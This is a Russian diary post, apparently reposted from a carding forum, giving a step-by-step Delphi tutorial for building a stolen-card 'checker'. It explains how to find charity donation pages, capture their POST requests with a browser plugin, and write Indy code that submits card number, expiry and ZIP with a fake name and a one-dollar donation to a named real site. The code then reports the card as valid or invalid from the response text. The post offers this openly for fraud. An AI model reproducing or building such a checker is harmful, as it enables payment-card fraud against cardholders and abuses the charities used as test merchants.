-Поиск по дневнику

Поиск сообщений в infosliv2014

 -Подписка по e-mail

 

 -Статистика

Статистика LiveInternet.ru: показано количество хитов и посетителей
Создан: 20.02.2015
Записей: 71
Комментариев: 0
Написано: 70

Записи с меткой языками программирования являются

(и еще 1 записям на сайте сопоставлена такая метка)

Другие метки пользователя ↓

+с новым годом туризм академия спорта +и туризма казань анимация +в туризме владимирский туризм внутренний туризм туроператоры гастрономический туризм год туризма 2015 +в россии городской центр туризма диссертация туризм изучаем программирование индия туризм институт туризма +и гостеприимства информационные технологии +в туризме кабель программирования каталоги туризм квартальнов +в +а туризм колледж туризма санкт петербурга курсовая работа +по туризму менеджер +по туризму обязанности места +для туризма модели туризма московский институт туризма нижегородский туризм одежда +для туризма +и отдыха особенности развития туризма охотничий туризм постановление министерства спорта +и туризма правовое регулирование +в туризме приключенческий туризм программирование +на андроид программирование микроконтроллеров avr профессиональное программирование развитие туризма +в регионах республика башкортостан туризм ситуации +в туризме станция туризма теория саморазвития транспортный туризм туризм +в испании туризм +за рубежом туризм гостиницы туризм київ туризм киев туризм нск туризм татарстан туризм ярославль тюмень туризм устойчивый туризм федеральный центр туризма +и краеведения федерация спортивного туризма

[Delphi] Делаем свой чекер картона

Дневник

Суббота, 21 Февраля 2015 г. 08:05 + в цитатник
Для начала нам надо найти мерчант, через который будет проходить процесс чекинга)

[Поиск мерчанта для чекера]
В этой статье я буду использовать Donate (дальше донат).
Донат можно найти в гугле такими запросами:

Код:

donate by credit card
donate for animals
donate for kinds

и так далее...
Для примера я буду использовать
Этот донат уже очень сильно задрочен мной... на нем ввели проверку адреса холдера + с 1 карты можно попытаться сделать пожертвование только 1 раз.

[Узнаем, какие запросы передаются сайту]
Чтобы узнать какие данные передаются сайту я использую плагин к Firefox:

Код:

HttpFox

.
Его можно найти в гугле).
После установки плагина в правом нижнем углу появится значок плагина.
Итак, переходим на сайт доната, вводим данные, для этого доната обязательно надо указывать следующие верные данные:

Код:

номер карты
експ
зип код

.
Жмем в плагине старт и на кнопку Donate! на странице доната.
После того, как страница выдала результат, в плагине HttpFox ищем строчку с POST запросом на сайт. (смотрим скрин, я обвел этот запрос).
[IMG]

Жмем на эту строчку и выбираем вкладку POST DATA, там будут данные, передаваемые сайту, которые собственно нам и нужны).

[Кодинг]
Я использую Delphi XE, т.к там сразу включены нормально работающие компненты Indy.
Запросы мы будет отправлять средствами Indy.
Для начала бросаем на форму пару Edit'ов для ввода данных для чека(номер карты, експ, зип), компонент IdHTTP из вкладки Indy Clients, и компонент IdSSLIOHandlerSocketOpenSSL (для работы с SSL) из вкладки Indy I/O Handlers и кнопку, по нажатии который будет происходить чек карты.
Связываем эти компоненты: Выделяем на форме компонент IdHTTP и в Object Inspector'е выбираем свойство IOHandlers и выбираем из списка IdSSLIOHandlerSocketOpenSSL.
Далее создаем переменную page типа string, в которой будет хранится страница ответа сервера и переменную типа Tstringlist я назвал ее ccdata. В переменной ccdata будут хранится данные для POST запроса.
Для начала нужно создать переменную ccdata, делается это так:

Код:

ccdata:=tstringlist.create;

Теперь нам надо сделать так, чтобы компонент IdHTTP делал автоматические редиректы:

Код:

idhttp1.HandleRedirects:=true;

Добавляем в переменную ccdata, данные которые мы получили из плагина HttpFox:

Код:

ccdata.Add('firstname=vasya');
ccdata.Add('lastname=pupkin');
ccdata.Add('address1=4ertenok');
ccdata.Add('address2=');
ccdata.Add('city=4ertenok');
ccdata.Add('state=4k');
ccdata.Add('zipcode='+zipcode.Text);
ccdata.add('emailc=email@email.com');
ccdata.add('phone=');
ccdata.Add('cardnumber='+cardnum.text);
ccdata.Add('expmonth='+month.Text);
ccdata.Add('expyear='+year.Text);
ccdata.Add('donation=1'); // сумма
ccdata.Add('comments=');
ccdata.Add('Submit=Donate!');

Далее делаем POST запрос на страницу и помещаем ответ в переменую page:
Код:
Код:

page:=idhttp1.post('https://www.amconmag.com/donatethankдеs.html',ccdata);

Теперь анализируем ответ и выдаем результат:

Код:

if pos('There is a problem with this transaction',page)<>0 then begin
result.caption:='НЕВАЛИД!';
end
else begin
result.caption:='ВАЛИД!';
end;

т.е если найдена фраза There is a problem with this transaction, значит чекер выдает НЕВАЛИД! , иначе чекер покажет ВАЛИД!.
Нас учили убирать за собой:

Код:

ccdata.free;


http://infosliv.club/threads/delphi-delaem-svoj-cheker-kartona.3195/

Метки:  

 Страницы: [1]